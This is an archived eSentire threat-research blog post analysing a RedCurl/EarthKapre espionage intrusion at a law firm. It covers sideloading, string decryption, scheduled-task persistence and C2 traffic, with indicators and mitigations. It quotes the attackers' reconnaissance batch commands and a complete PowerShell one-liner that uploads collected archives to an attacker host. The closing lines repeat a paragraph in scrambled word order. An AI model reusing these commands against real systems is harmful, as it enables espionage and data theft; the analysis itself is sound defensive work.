Unraveling the Many Stages and Techniques Used by RedCurl/EarthKapre APT By eSentire Threat Response Unit (TRU) Archived: 2026-04-05 17:50:30 UTC Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes. We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware. Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team. In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward. Here’s the latest from our TRU Team… What did we find? In January 2025, the eSentire Threat Response Unit (TRU) identified the use of a legitimate Adobe executable (ADNotificationManager.exe) to sideload the EarthKapre/RedCurl loader. EarthKapre, also known as RedCurl, is a highly sophisticated cyber espionage group known for its advanced operations, primarily targeting private-sector organizations with a focus on corporate espionage. The target of this attack is an organization within the Law Firms & Legal Services industry. Upon execution of the final stage, TRU observed EarthKapre executing reconnaissance commands and tools like SysInternals Active Directory Explorer (AD Explorer), the usage of 7-Zip to password protect/archive the collected data, and exfiltration to cloud storage provider “Tab Digital” via PowerShell PUT request. Initial access occurred when the victim opened an Indeed CV/Cover letter themed spam PDF from a spam email. The PDF contains a link to download a zip archive, which contains a mountable iso (img) file. Once the victim opens the img file, it is mounted to an external drive letter, e.g. D: and opens in file explorer. The victim sees a single file, “CV Applicant *.scr” which is the legitimate signed Adobe executable “ADNotificationManager.exe”. After the victim opens the file, the EarthKapre loader (netutils.dll) is side loaded. This attack chain is described in the figure below. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 1 of 21 Figure 1 – EarthKapre/RedCurl Attack Chain The PDF file contains two links that lead to a zip archive containing an ISO image file matching, "CV Applicant [4 digits]-[6 digits].img”. Figure 2 – Indeed-themed phishing pdf After extracting the zip archive and mounting the img file, the victim sees a file explorer window. Note, the victim would not see any of the hidden files shown below as the default setting in Windows hides hidden files. The only file the victim sees is “CV Application *.scr”. Upon the victim opening the *.scr file, the RedCurl/EarthKapre dll (netutils.dll) is side loaded. The legitimate C runtime libraries shown below are also loaded. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 2 of 21 Figure 3 – File explorer view after mounting img file Stage 1 Analysis Before we dive into the analysis of the first stage, aka Simple Downloader, it is worth noting there are few detections in VirusTotal for this particular variant. Figure 4 – Low VirusTotal hits The purpose of the first stage is to download and execute the next stage. As previously reported by Trend Micro, RedCurl/EarthKapre makes use of a string decryption function that makes use of various APIs in bcrypt.dll. These APIs are used to generate a SHA256 hash based on a string. The first 16 bytes of the generated SHA256 hash is used as the AES key for decrypting strings via BCryptDecrypt: BCryptOpenAlgorithmProvider – AES/SHA256 BCryptCreateHash BCryptHashData BCryptDestroyHash BCryptGenerateSymmetricKey – Generate key for AES BCryptFinishHash – Acquire SHA256 of key string https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 3 of 21 BCryptDecrypt – Decrypt encrypted string BCryptGetProperty – ObjectLength and HashDigestLength properties BCryptDestroyKey BCryptCloseAlgorithmProvider The string used in the aforementioned process is XOR encrypted. The routine that handles decryption of it is called with several parameters, passing a pointer to store the decrypted key, a pointer to the encrypted key, and the XOR key 0x0D0196A9 to use for decryption. Note, this routine is used throughout several stages of RedCurl/EarthKapre and not just this particular stage. It is also used for decrypting other strings as well and not just the key string. Figure 5 – AES key decryption The encryption routine can be seen below. Each index of the encrypted data is decrypted by multiplying the constant 48271 by the previous computation and XOR’ing against the encrypted byte. Figure 6 – XOR decryption routine After the AES key string is decrypted, it is used throughout for decrypting strings. The next figure displays part of how this is achieved. First, a SHA256 is generated from the key string and 16 bytes of the resulting hash are used in a call to BCryptDecrypt. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 4 of 21 Figure 7 – AES decryption routine To make understanding the code easier, we wrote a python script that is available here to find the AES key, decrypt all the strings, and set comments in IDA Pro. Note, the Yara rules may need to be updated across future variants to capture the appropriate opcodes. For this particular variant, all of the strings are decrypted and output in IDA as seen below. These strings include various API names, a C2 URL (sm.vbigdatasolutions.workers[.]dev) and a user agent utilized for acquiring the next stage. Remembering that the initial PDF was Indeed themed, the string “https://secure.indeed.com/auth” is passed in a call to the API ShellExecuteA to deceive the user by opening their default browser to that URL. Figure 8 – Decrypting strings via EarthKapre-IDA.py One of the first behaviors in the stage is to create a scheduled task via COM interface (taskschd.dll). The trigger time is generated via Windows API GetSystemTimeAsFileTime, which is then converted to the time in seconds since epoch. The time is then converted to string format via strftime with format specifier, "%Y-%m- %dT%H:%M:%S". Figure 9 – Generate time for scheduled task to trigger https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 5 of 21 Note, that because the trigger time for the task is a time that technically occurs in the past by the time the task is created, it is not immediately triggered. The task is set to run every hour indefinitely, so the actual time the next stage is set to run is one hour after. The threat actors are still using the LOLBin Program Compatibility Assistant (pcalua.exe) for the next stage, which in turn will execute the “CplApplet” export via rundll32.exe. The "action" for the task is as follows: Action: Start a Program Details: C:\Windows\system32\pcalua.exe -a rundll32 -c shell32.dll,Control_RunDLL C:\Users\User\AppData\Roaming\BrowserOSR\BrowserOSR_.dll c7ccd991-41e1-45ab-b0de-b1d229bba429 The following figure displays the name of the scheduled task, which follows the format BrowserOSR- . Note, the computer name is acquired through the API GetComputerNameA. One additional thing to note is that this task is not stored in the root but rather its own folder “BrowserOSR” and uses the author “Google Corporation”. Figure 10 – Scheduled task properties Wininet.dll is then loaded and several APIs are resolved: InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA These APIs are used by the malware to send an HTTP request to the C2 to acquire the next stage. The contents of this HTTP request can be seen below. Note, the user agent changes across variants. For example, the user agent “Mozilla/5.0 (Windows NT; Windows NT 10.0;) WindowsPowerShell/5.1.20134.790” was seen in a previous variant. POST /id HTTP/1.1 Content-type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0;) WindowsPowerShell/5.1 (VuMUAsryhPLsaqGXlSx) Host: sm.vbigdatasolutions[.]workers.dev https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 6 of 21 Content-Length: 0 Cache-Control: no-cache Figure 11 – First stage C2 HTTP request The following figure shows the response from the C2 which contains the encrypted second stage payload. Note, the file name in the Content-Disposition header is set to a randomly named zip archive however the response contents are clearly missing the right header to be a zip archive. Figure 12 – First stage C2 HTTP response The API InternetReadFile is called in a loop to read the response from the HTTP request in chunks of 0x2800 bytes until InternetReadFile returns FALSE. This response contains an encrypted DLL payload. The payload returned by the C2 in this case is 0x428A0 bytes, so the InternetReadFile API is called around 26 times. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 7 of 21 Figure 13 – Read response from C2 in chunks of 0x2800 bytes We have re-implemented the decryption process in the python script available here. Note, the first stage binary, i.e., netutils.dll, needs to be passed to the script for the script to identify the XOR key to decrypt the encrypted payload, e.g., encrypted_payload.bin. Figure 14 – Decrypting the C2 encrypted response via EarthKapre-Stage2-Payload-Decrypter.py Next, the string "CreateDirectoryA" is decrypted and resolved via GetProcAddress. Then, the string "WriteFile" is decrypted and resolved via GetProcAddress. After that, the string "CreateFileA" is decrypted and resolved via GetProcAddress. Then, the string "CloseHandle" is decrypted and resolved via GetProcAddress. Next, CreateDirectoryA is called to create the folder to store the payload. C:\Users\user\AppData\Roaming\BrowserOSR After that, CreateFileA is called with GENERIC_WRITE access to create a handle to the final stage. The payload is then decrypted via an XOR loop with the hard-coded XOR key "BmaEiOwsUa". The beginning of the decrypted blob contains 0x1869F junk bytes. After incrementing the pointer to the payload buffer 0x186A0 bytes, the payload is written to disk through a call to WriteFile. Finally, after the scheduled task triggers after an hour, stage 2 executes. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 8 of 21 Figure 15 – Decrypting the C2 encrypted response via XOR key, write payload to disk Figure 16 – Decrypted payload preview in hex editor Stage 2 Analysis The same string decryption techniques described in the first stage are used again, but the key for AES decryption is derived differently. The first part of the key string is acquired through XOR decryption like before, however the GUID that was passed when this stage was executed is concatenated with this string e.g., "CnWX8J4d5Wizuwc7ccd991-41e1-45ab-b0de-b1d229bba429". Because of this, sandboxes that rely on executing all known exports of the DLL will fail to detonate this stage properly. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 9 of 21 Figure 17 – Decrypting stage 2 strings via EarthKapre-IDA.py The first decrypted string we will talk about is “www.msn.com”. This is used to see if the victim machine has internet, otherwise the malware will exit. Note, TRU has observed other domains used in this process such as bing.com as well. The HTTP request contents are as follows. If the response code is less than 400, internet is considered to be available. GET https://www.msn.com/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Sa Pragma: no-cache Host: www.msn.com Connection: Keep-Alive Cache-Control: no-cache Figure 18 – Internet availability check via msn.com Next, the malware resolves the victim's username via the GetUserNameA API and computer name via the GetComputerNameA API. This is followed by getting the directory paths for Program Files, Desktop, and Local AppData via the SHGetSpecialFolderPathA API. Figure 19 – Get Program Files, Desktop, and Local AppData paths The malware then calls the API SetFileApisToOEM for the process to use the OEM character set code page, then proceeds to get all file and directory names in Program Files, Desktop, and Local AppData via API calls to https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 10 of 21 FindFirstFileA and FindNextFileA. The resulting data is concatenated with new lines. Next, the malware generates an XOR key to use for encrypting the HTTP request payload’s values. The routine that generates the key is a string generator that makes use of the rand() function. Note, the seed is set to the current process ID multiplied by a constant. With this particular sample, the constant was 0x679BCF5C. Figure 20 – Setting seed via srand The HTTP request payload contains several key/value pairs containing the victim's computer name, username, enumerated files/directories, the final stage’s export to be called, and finally the XOR key used to encrypt each value in the key/value pairs. Note, some of the key values are hard-coded or empty. Note, the key names, i.e. “wbpslyzvnir” are generated using the previously mentioned string generator. POST https://community.rmobileappdevelopment.workers[.]dev/ HTTP/1.1 Content-type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Sa Host: community.rmobileappdevelopment.workers[.]dev Content-Length: 1166 Cache-Control: no-cache wbpslyzvnir=&mplya=&dfdxkzkvbuqtxb=&ndpqpeqwcxbbltixpw=1&thtpupwphzvzd==&waqjikiphmzl=&ggzykfgzwoavgyss= Figure 21 – Stage 2 C2 request The routine responsible for encrypting the values has been decompiled and can be seen below. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 11 of 21 Figure 22 – XOR encryption routine The random string generator routine can be seen below. As stated before, this generator is used to generate the XOR key, as well as the random strings used as keys in the request payload. The rand() function is called in a loop, and the result is mod’d with 0x1A and the result is added to 0x61. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 12 of 21 Figure 23 – Random string generator routine Each value of the HTTP request is then base64 encoded. Note, the base64 encoding routine complies with “Base 64 Encoding with URL and Filename Safe Alphabet” defined in RFC 4648, which has the following character set: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789- Figure 24 – Base64 character set After decoding from base64 and decrypting each value with the XOR key in the HTTP request payload, we can see what the threat actors receive on their end: the victim’s username, computer name, and files/directories from the victim’s Desktop, Local AppData, and Program Files folders. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 13 of 21 Figure 25 – Decrypted HTTP request contents If the request to the C2 was successful, the string "IsDebuggerPresent" is then decrypted and resolved via GetProcAddress. It is then called to check if a debugger is present. If the check fails, the process exits. Otherwise, a random string is generated and ".tmp" is concatenated to it. The C2 response is then checked via HttpQueryInfoA, passing the flags HTTP_QUERY_FLAG_NUMBER and HTTP_QUERY_CONTENT_LENGTH. The content length is checked to ensure it is greater than 10 bytes. If so, InternetReadFile is called in a loop, reading in chunks of 0x2800 bytes again like in the first stage. The response data is then written to the current directory and the random string + ".tmp". This is achieved through the APIs: GetCurrentDirectoryA, CreateFileA, and WriteFile. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 14 of 21 Figure 26 – Check for debugger and exit The aforementioned payload is then loaded via LoadLibraryA and the stage 3 export "IfIxStId" is resolved via GetProcAddress and is invoked through a call instruction. Finally, as an evasive measure, DeleteFileA() is then called to delete the third stage file from disk. Note, the stage 3 export name can be found as a decrypted string in this stage or found passed as a value in the HTTP request payload. Figure 27 – Execute third stage retrieved from C2 Putting everything together, we have created the following collection of scripts: EarthKapre-Stage1-C2.py - Simulate the request to the C2 to get the second stage. Figure 28 – Running EarthKapre-Stage1-C2.py to download second stage EarthKapre-Stage2-Payload-Decrypter.py - Decrypt the resulting encrypted payload acquired after running EarthKapre-Stage1-C2.py. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 15 of 21 Figure 29 – Running EarthKapre-Stage2-Payload-Decrypter.py to decrypt encrypted second stage EarthKapre-Stage2-C2-Request-Decrypter.py - Parses a given byte string containing the stage 2 request payload and outputs the decrypted victim computer name, username, files/directories listings, and XOR key. Figure 30 – Running EarthKapre-Stage2-C2-Request-Decrypter.py to decrypt HTTP request payload EarthKapre-Stage2-C2.py - Sends a request to the C2 to retrieve the third stage. Figure 31 – Running EarthKapre-Stage2-C2.py to get third stage payload Reconnaissance and Exfiltration RedCurl executed the following commands via a batch file dropped by the final stage into %APPDATA%\Acquisition\JKLYjn2.bat. This batch file is used to automate the collection of system information for reconnaissance purposes and to archive collected data for exfiltration: Get user account information: net localgroup net localgroup Administrators Get system information: systeminfo Get information about disks on the system: https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 16 of 21 wmic logicaldisk get description,name,Size,FreeSpace Get information about installed Anti-virus products: wmic process get Name,Commandline powershell -c "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | Out-File -FilePath .\temp7237\ _AV.txt" Execute Sysinternals AD Explorer and output results to temp file: temp7237\ad.exe -accepteula -snapshot "" temp7237\dmn.dat Execute 7-Zip to archive collected data with a password for encryption: powershell -c "gci .*.exe | foreach {if(($.VersionInfo).InternalName -eq '7za'){$syspack = $.Fullname}};$a1='x';$a2='-aoa';$a3='-p'+$env:ppass2;$a4=$env:util;$a5='-o'+$env:tdir;&$syspack $a1 $a2 $a3 $a4 $a5;" Upload the collected data via PowerShell PUT request to C2 “mia.nl.tab[.]digital”: powershell -c "$PSW01 = New-Object -ComObject MSXML2.ServerXMLHTTP;$AFS = New-Object -ComObject ADODB.Stream;$AFS.Open();$AFS.Type = 1;Get-ChildItem .$env:trdir | Where-Object {$.PSIsContainer -eq $false;} | foreach {$AFS.LoadFromFile($.FullName);$AFB = $AFS.Read();$PSW01.Open('PUT', $env:davstr+'/'+$env:davfld+'/'+$_.Name, $False, $env:slog, $env:spass);$PSW01.Send($AFB);};$PSW01.Close;" Workers.dev The C2 infrastructure is hosted by Cloudflare through Cloudflare Workers. According to Cloudflare, “Cloudflare Workers provides a serverless execution environment that allows you to create new applications or augment existing ones without configuring or maintaining infrastructure.” Unfortunately for RedCurl, there are some limitations to Cloudflare Workers free tier - the threat actors are only able to receive 100,000 requests per day. Through slight modification of EarthKapre-Stage2-C2.py, we were able to cause the C2 to fail to return a response and ended up limiting all the other subdomains used in this attack as well. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 17 of 21 Figure 32 – Cloudflare Workers limits What did we do? Our team of 24/7 SOC Cyber Analysts proactively isolated the affected host to contain the infection on the customer’s behalf. We communicated what happened with the customer and helped them with incident remediation efforts. Recommendations from the Threat Response Unit (TRU): Prevent automatic mounting of ISO/IMG by Group Policy: Create a new GPO policy or edit an existing one and enable the following policy: Computer Configuration > Administrative Templates > System > Device Installation > Device Installation Restrictions. Click the Show... button and copy/paste the value shown below SCSI\CdRomMsft____Virtual_DVD-ROM_ Ensure the checkbox "Also apply to matching devices that are already installed." is selected. Note: when linking the GPO to an OU, the OU must be computer based as this policy is Computer Configuration based. Use an Endpoint Detection and Response (EDR) solution and ensure it is deployed across all workstations and servers. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 18 of 21 Indicators of Compromise You can access the Indicators of Compromise here. References https://go.group-ib.com/report-redcurl-en https://www.trendmicro.com/en_ca/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html https://www.huntress.com/blog/the-hunt-for-redcurl-2 https://lolbas-project.github.io/lolbas/Binaries/Pcalua/ https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level MDR, connect with an eSentire Security Specialist now. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 19 of 21 GET STARTED ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU) The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats. https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 20 of 21 Source: https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt https://www.esentire.com/blog/unraveling-the-many-stages-and-techniques-used-by-redcurl-earthkapre-apt Page 21 of 21 The API InternetReadFile bytes until InternetReadFile is called returns in a loop to FALSE. This read the response response contains from the an encrypted HTTP request DLL payload. in chunks of The payload 0x2800 returned by the C2 in this case is 0x428A0 bytes, so the InternetReadFile API is called around 26 times. Page 7 of 21